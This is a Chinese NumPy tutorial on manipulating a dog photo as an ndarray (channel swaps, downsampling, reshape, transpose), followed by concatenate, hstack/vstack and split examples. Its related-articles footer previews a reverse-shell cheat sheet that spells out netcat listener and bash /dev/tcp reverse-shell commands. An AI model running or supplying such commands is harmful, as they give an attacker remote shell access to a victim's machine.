NumPy 数据操作实用指南:从基础到高效(下)

文章接上篇:

In [53]:

from PIL import Image

In [60]:

dog = Image.open('./dog.jpg')

dog

. . .

In [61]:

dog_data=np.array(dog)

# 图片数据是ndarray
# 彩色照片三维:高度,宽度,像素(表示不同颜色),红绿蓝三原色
dog_data

. . .

In [62]:

# 行,列,像素

dog_data.shape

Out[62]:

(1197, 1200, 3)

In [63]:

# uint8:无负号,0~255

dog_data.dtype

Out[63]:

dtype('uint8')

In [64]:

dog_data.max()

Out[64]:

255

In [67]:

dog2=dog_data[:,:,::-1]

dog2

解释一下:

`dog2=dog_data[:,:,::-1]` 是一个 NumPy 数组切片的操作,用于颜色通道的反转。这种操作通常用于图像处理,其中 `dog_data` 是一个三维的 NumPy 数组,表示一张彩色图像。

 `[:,:,::-1]` 表示对数组的最后一个维度(颜色通道)进行切片,步长为 `-1`,即反向切片。
 对于彩色图像,通常最后一个维度包含红、绿、蓝(RGB)三个颜色通道。
 通过 `[::-1]` 操作,将颜色通道的顺序反转为蓝、绿、红(BGR)。

In [68]:

Image.fromarray(dog2)

Out[68]:

In [71]:

  • dog_data[::5, ::5] 对数组进行切片,步长为 5,即每隔5个像素取一个值。
  • 这种操作实际上对图像进行了降采样,将图像的分辨率降低,使图像中的元素更稀疏。

Image.fromarray(dog_data[::5,::5])

简单理解:把图缩小点

Out[71]:

In [73]:

# 红绿蓝 0,1,2

# 绿红蓝 1,0,2

Image.fromarray(dog_data[:,:,[1,0,2]])

dog_data[:,:,[1,0,2]] 表示对数组的最后一个维度进行切片,其中 [1,0,2] 指定了新的颜色通道的顺序。这里的意思是将原本的颜色通道顺序(红、绿、蓝)改为新的顺序(绿、红、蓝)。

Out[73]:

改过后,小狗有点“绿”

In [75]:

Image.fromarray(dog_data[:,:,0])

Out[75]:

变成了灰度图像

In [76]:

import matplotlib.pyplot as plt

In [77]:

plt.imshow(dog_data)

Out[77]:

<matplotlib.image.AxesImage at 0x21f4d592210>

In [79]:

plt.imshow(dog_data[::-1])

Out[79]:

<matplotlib.image.AxesImage at 0x21f4db0d290>

In [83]:

plt.imshow(dog_data[::15,::15])

Out[83]:

<matplotlib.image.AxesImage at 0x21f4eaef490>

变形

使用reshape函数,注意参数是一个tuple

In [84]:

nd2

Out[84]:

array([[ 26,  85,  41,  21,  49],[ 27,   2,  51,  55,  34],[133,  78,  63,  52, 135],[ 26,  56,  77,  51,  13]])

In [85]:

nd2.reshape(2,10)

Out[85]:

array([[ 26,  85,  41,  21,  49,  27,   2,  51,  55,  34],[133,  78,  63,  52, 135,  26,  56,  77,  51,  13]])

In [87]:

dog_data.shape

Out[87]:

(1197, 1200, 3)

In [89]:

dog5=dog_data.reshape(1200,1197,3)

plt.imshow(dog5)

Out[89]:

<matplotlib.image.AxesImage at 0x21f4eb3dd90>

“小狗扭曲了”

In [90]:

# 高度0 宽度1 像素2

# 转置,行和列调整

dog6=np.transpose(dog_data,axes=(1,0,2))
plt.imshow(dog6)

Out[90]:

<matplotlib.image.AxesImage at 0x21f4ef75d10>

级联

1.np.concatenate() 级联需要注意的点: 2.级联的参数是列表:一定要加中括号或小括号 3.维度必须相同 4.形状相符 5.【重点】级联的方向默认是shape这个tuple的第一个值所代表的维度方向 6.可通过axis参数改变级联的方向

In [91]:

nd2

Out[91]:

array([[ 26,  85,  41,  21,  49],[ 27,   2,  51,  55,  34],[133,  78,  63,  52, 135],[ 26,  56,  77,  51,  13]])

In [92]:

np.concatenate([nd2,nd2])

Out[92]:

array([[ 26,  85,  41,  21,  49],[ 27,   2,  51,  55,  34],[133,  78,  63,  52, 135],[ 26,  56,  77,  51,  13],[ 26,  85,  41,  21,  49],[ 27,   2,  51,  55,  34],[133,  78,  63,  52, 135],[ 26,  56,  77,  51,  13]])

In [93]:

plt.imshow(dog_data)

Out[93]:

<matplotlib.image.AxesImage at 0x21f4edb8dd0>

In [98]:

dog7=dog_data[:,:400]

plt.imshow(dog7)

切片左边:

Out[98]:

<matplotlib.image.AxesImage at 0x21f4f00dd90>

In [99]:

dog8=dog_data[:,600:,::-1]

plt.imshow(dog8)

切片右边,再换个色

Out[99]:

<matplotlib.image.AxesImage at 0x21f4f0eb410>

In [100]:

print(dog7.shape,dog8.shape)

(1197, 400, 3) (1197, 600, 3)

In [102]:

display(dog7.shape,dog8.shape)

(1197, 400, 3)
(1197, 600, 3)

In [103]:

# 高度0 宽度1 像素2

dog9=np.concatenate([dog7,dog8],axis=1)
plt.imshow(dog9)

拼接一下:

Out[103]:

<matplotlib.image.AxesImage at 0x21f4f11dd90>

2.np.hstack与np.vstack 水平级联与垂直级联,处理自己,进行维度的变更

In [2]:

nd1=np.random.randint(0,150,size=(4,5))

In [3]:

nd2=np.random.randint(0,150,size=(2,5))

In [5]:

nd3=np.random.randint(0,150,size=(4,8))

In [6]:

display(nd1,nd2,nd3)

array([[123,  24,  86,  12,  89],[ 44,  13,  68,  97,  30],[ 35, 136,  40,  14,   2],[ 26, 141, 120,  12,  19]])
array([[133,  28,   1,  87, 139],[109,  34,  20,  44,  33]])
array([[111,  74, 126,  97,  27, 102,  54,  82],[ 23,  83,  81, 131,  87, 120,  78,  32],[ 49,  97,   0,  89,  63,  21, 122,  47],[144, 111, 100,  98, 129,  18, 147,  88]])

In [7]:

np.concatenate([nd1,nd3],axis=1)

#列

. . .

In [9]:

#horizontal 水平的,列数增加

np.hstack((nd1,nd3))

. . .

In [4]:

#vertical 竖直方向,行数增多

nd4=np.vstack((nd1,nd2))

切片

与级联类似,三个函数完成切片工作:

np.split

np.vsplit

np.hsplit

In [6]:

nd4.shape

Out[6]:

(6, 5)

In [7]:

np.split(nd4,3)

Out[7]:

[array([[ 64, 136, 106,  76, 137],[ 26,   5,  29,  90,  25]]),array([[136,  81, 124,  90,  19],[106,  24,  89,  50,  33]]),array([[148, 125,  94,  22,  46],[  5,  60,  56,  45,  40]])]

In [9]:

np.split(nd4,[1,3])

Out[9]:

[array([[ 64, 136, 106,  76, 137]]),array([[ 26,   5,  29,  90,  25],[136,  81, 124,  90,  19]]),array([[106,  24,  89,  50,  33],[148, 125,  94,  22,  46],[  5,  60,  56,  45,  40]])]

In [10]:

np.vsplit(nd4,2)

Out[10]:

[array([[ 64, 136, 106,  76, 137],[ 26,   5,  29,  90,  25],[136,  81, 124,  90,  19]]),array([[106,  24,  89,  50,  33],[148, 125,  94,  22,  46],[  5,  60,  56,  45,  40]])]

In [16]:

np.hsplit(nd4,[2])

Out[16]:

[array([[ 64, 136],[ 26,   5],[136,  81],[106,  24],[148, 125],[  5,  60]]),array([[106,  76, 137],[ 29,  90,  25],[124,  90,  19],[ 89,  50,  33],[ 94,  22,  46],[ 56,  45,  40]])]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/613857.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C语言操作符与表达式详解

目录 操作符的分类&#xff1a; &#xff08;1&#xff09;算数操作符 &#xff08;2&#xff09;移位操作符 &#xff08;3&#xff09;位操作符 &#xff08;4&#xff09;赋值操作符 &#xff08;5&#xff09;单目操作符 &#xff08;6&#xff09;关系操作符 &…

CSS 选择器全攻略:从入门到精通(下)

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

保存校验,根据表体String和UFDouble的两个字段,判断哪些记录重复

方法一 &#xff1a;保存校验&#xff0c;根据业务类型和税率判断哪些记录重复&#xff08;不推荐&#xff09; import org.apache.commons.collections.CollectionUtils;private void ywlxAndSlCheck(List<JsdtbBVO> bvolist) throws BusinessException {bvolist tran…

【Java万花筒】日志与性能监控:Java日志领域的掌中宝剑

“日志与性能监控&#xff1a;Java开发者的得力助手 前言 在现代软件开发中&#xff0c;日志记录和性能监控是确保应用程序健康运行的不可或缺的组成部分。为了满足开发者对灵活性和性能的需求&#xff0c;Java 社区涌现出多个强大的库&#xff0c;本文将深入探讨其中几个关键…

pytorch11:模型加载与保存、finetune迁移训练

目录 一、模型加载与保存1.1 序列化与反序列化概念1.2 pytorch中的序列化与反序列化1.3 模型保存的两种方法1.4 模型加载两种方法 二、断点训练2.1 断点保存代码2.2 断点恢复代码 三、finetune3.1 迁移学习3.2 模型的迁移学习3.2 模型微调步骤3.2.1 模型微调步骤3.2.2 模型微调…

Asp .Net Core 系列: 集成 CORS跨域配置

文章目录 什么是CORS?Asp .Net Core 种如何配置CORS?CorsPolicyBuilder类详解注册以及使用策略三种方式EnableCors 和 DisableCors 特性关于带证书与不带证书代码的实现跨源&#xff08;cross-origin&#xff09;不带请求证书(Credentials)跨源&#xff08;cross-origin&…

c++析构函数

析构函数的简述 1. 析构函数和构造函数类似&#xff0c;是c规定当对象的生命周期结束时&#xff0c;默认你会调用析构函数。 2. 同理&#xff0c;当我们不写析构函数的时候&#xff0c;编译器会自动生成一个空实现的析构函数。 3. 析构函数只能编译器自己调用&#xff0c;我们…

CSS 选择器全攻略:从入门到精通(上)

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

在Maven中设置JVM系统参数及Java应用调试实例

在Maven中设置JVM系统参数及Java应用调试实例 在进行Java应用程序开发时&#xff0c;我们通常需要配置Maven构建过程中Java虚拟机&#xff08;JVM&#xff09;的额外系统参数&#xff0c;以便进行性能优化、日志配置或远程调试等操作。本文将详细介绍如何在Maven中设置JVM系统…

JavaScript从入门到精通系列第三十一篇:详解JavaScript中的字符串和正则表达式相关的方法

文章目录 知识回顾 1&#xff1a;概念回顾 2&#xff1a;正则表达式字面量 一&#xff1a;字符串中正则表达式方法 1&#xff1a;split 2&#xff1a;search 3&#xff1a;match 4&#xff1a;replace 知识回顾 1&#xff1a;概念回顾 正则表达式用于定义一些字符串的…

MySql command line client命令解析

一、启动与退出 1、进入MySQL&#xff1a;启动MySQL Command Line Client&#xff08;MySQL的DOS界面&#xff09;&#xff0c;直接输入安装时的密码即可。此时的提示符是&#xff1a;mysql> 2、退出MySQL&#xff1a;quit 或 exit 二、库操作 1、创建数据库 命令&#xff1…

代码随想录算法训练营第二天|977 有序数组的平方、209长度最小的子数组、59 螺旋矩阵||

977 有序数组的平方 题目链接&#xff1a;有序数组的平方 思路 暴力解法 很容易想到的就是按照题目的说明&#xff0c;先给非递减数组中的每个元素做平方&#xff0c;然后使用一个排序函数对齐进行排序即可。 class Solution { public:vector<int> sortedSquares(ve…

反弹shell方法汇总

假设本机地址10.10.10.11&#xff0c;监听端口443。 1、Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令&#xff1a; bash -i >& /dev/tcp/192.168.245.129/1234 0>&1 /bin/bash -i > /dev/tcp/154.21…

STL之pair

目录 pair的定义和结构 示例 pair的嵌套 示例 pair自带排序规则 示例 代码示例 pair的定义和结构 在c中&#xff0c;pair是一个模板类&#xff0c;用于表示一对值的组合。它位于<utility>头文件中。pair类的定义如下&#xff1a; template<class T1,class T2…

IntelliJ IDEA Java 连接 mysql 配置(附完整 demo)

下载 MySQL 驱动 从MySQL官网下载JDBC驱动的步骤如下&#xff1a; 1&#xff09;访问MySQL的官方网站&#xff1a;MySQL 2&#xff09;点击页面上方的"DOWNLOADS"菜单&#xff1b; 3&#xff09;在下载页面&#xff0c;找到"MySQL Community (GPL) Downloads…

QObject_thread

QObject::thread QThread *QObject::thread() 返回对象所在的线程。 QThread *QObject::thread() const {return d_func()->threadData.loadRelaxed()->thread.loadAcquire(); }void QObject::moveToThread(QThread *targetThread) 将此对象及其孩子关联到targetThre…

C++内存管理机制(侯捷)笔记2

C内存管理机制&#xff08;侯捷&#xff09; 本文是学习笔记&#xff0c;仅供个人学习使用。如有侵权&#xff0c;请联系删除。 参考链接 Youtube: 侯捷-C内存管理机制 Github课程视频、PPT和源代码: https://github.com/ZachL1/Bilibili-plus 下面是第二讲allocator具体实…

11 双向链表

单链表的局限&#xff1a; 单链表的缺点&#xff1a;逆序访问单链表中的元素耗时大。&#xff08;时间复杂度&#xff1a;O&#xff09; 双向链表的定义 第0个节点【a1】的pre指针为NULL&#xff0c;要注意 插入操作&#xff1a; 删除操作&#xff1a; 初步实现双链表 代码&…

【Vue系列】Vue3快速构建项目,以及在已有代码情况首次打开如何初始化依赖项

欢迎来到《小5讲堂》 大家好&#xff0c;我是全栈小5。 这是是《前端》序列文章&#xff0c;每篇文章将以博主理解的角度展开讲解&#xff0c; 特别是针对知识点的概念进行叙说&#xff0c;大部分文章将会对这些概念进行实际例子验证&#xff0c;以此达到加深对知识点的理解和掌…

一天一个设计模式---适配器模式

概念 适配器模式是一种结构型设计模式&#xff0c;用于将一个类的接口转换成客户端所期望的另一个接口。它允许不兼容的接口之间进行协同工作&#xff0c;使得原本由于接口不匹配而无法合作的类能够一起工作。 具体内容 适配器模式主要包括以下几个要素&#xff1a; 目标接…